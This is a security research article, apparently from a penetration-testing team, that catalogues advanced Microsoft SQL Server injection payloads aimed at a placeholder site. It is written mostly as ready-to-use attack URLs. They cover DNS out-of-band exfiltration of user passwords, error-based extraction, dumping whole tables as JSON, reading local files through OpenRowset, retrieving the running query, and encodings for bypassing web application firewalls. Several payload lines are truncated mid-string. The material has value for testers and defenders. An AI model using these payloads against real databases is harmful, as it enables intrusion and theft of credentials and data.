Advanced MSSQL Injection Tricks

Advanced MSSQL Injection Tricks - PT SWARM Team, @ptswarm, PT SWARM.

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Content

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We compiled a list of several techniques for improved exploition of MSSQL injections. All the vectors have been tested on at least three of the latest versions of Microsoft SQL Server: 2019, 2017, 2016SP2.

DNS Out-of-Band

If confronted with a fully blind SQL injection with **disabled** stacked queries, it's possible to attain DNS out-of-band (OOB) data exfiltration via the functions `fn_xe_file_target_read_file`, `fn_get_audit_file`, and `fn_trace_gettable`.

`fn_xe_file_target_read_file()` example:

```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+user
```

[image: image]

Permissions: Requires VIEW SERVER STATE permission on the server.

`fn_get_audit_file()` example:

```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+v
```

[image: image]

Permissions: Requires the CONTROL SERVER permission.

`fn_trace_gettable()` example:

```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2
```

[image: image]

Permissions: Requires the CONTROL SERVER permission.

Alternative Error-Based vectors

Error-based SQL injections typically resemble constructions such as «+AND+1=@@version–» and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data.

Some examples of such functions:

- `SUSER_NAME()`
- `USER_NAME()`
- `PERMISSIONS()`
- `DB_NAME()`
- `FILE_NAME()`
- `TYPE_NAME()`
- `COL_NAME()`

Example use of function `USER_NAME()`:

```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```

[image: image]

Quick exploitation: Retrieve an entire table in one query

There exist two simple ways to retrieve the entire contents of a table in one query — the use of the FOR XML or the FOR JSON clause. The FOR XML clause requires a specified mode such as «raw», so in terms of brevity FOR JSON outperforms it.

The query to retrieve the schema, tables and columns from the current database:

```
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+infor
```

[image: image]

Error-based vectors need an alias or a name, since the output of expressions without either cannot be formatted as JSON.

```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+informatior
```

[image: image]

Reading local files

An example of retrieving a local file `C:\Windows\win.ini` using the function OpenRowset():

```
https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x
```

[image: image]

Error-based vector:

```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```

Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.

Retrieving the current query

The current SQL query being executed can be retrieved from access `sys.dm_exec_requests` and `sys.dm_exec_sql_text`:

```
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_ex
```

[image: image]

Permissions: If the user has VIEW SERVER STATE permission on the server, the user will see all executing sessions on the instance of SQL Server; otherwise, the user will see only the current session.

Little tricks for WAF bypasses

Non-standard whitespace characters: %C2%85 или %C2%A0:

```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```

Scientific (0e) and hex (0x) notation for obfuscating UNION:

```
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```

A period instead of a whitespace between FROM and a column name:

```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```

\N seperator between SELECT and a throwaway column:

```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
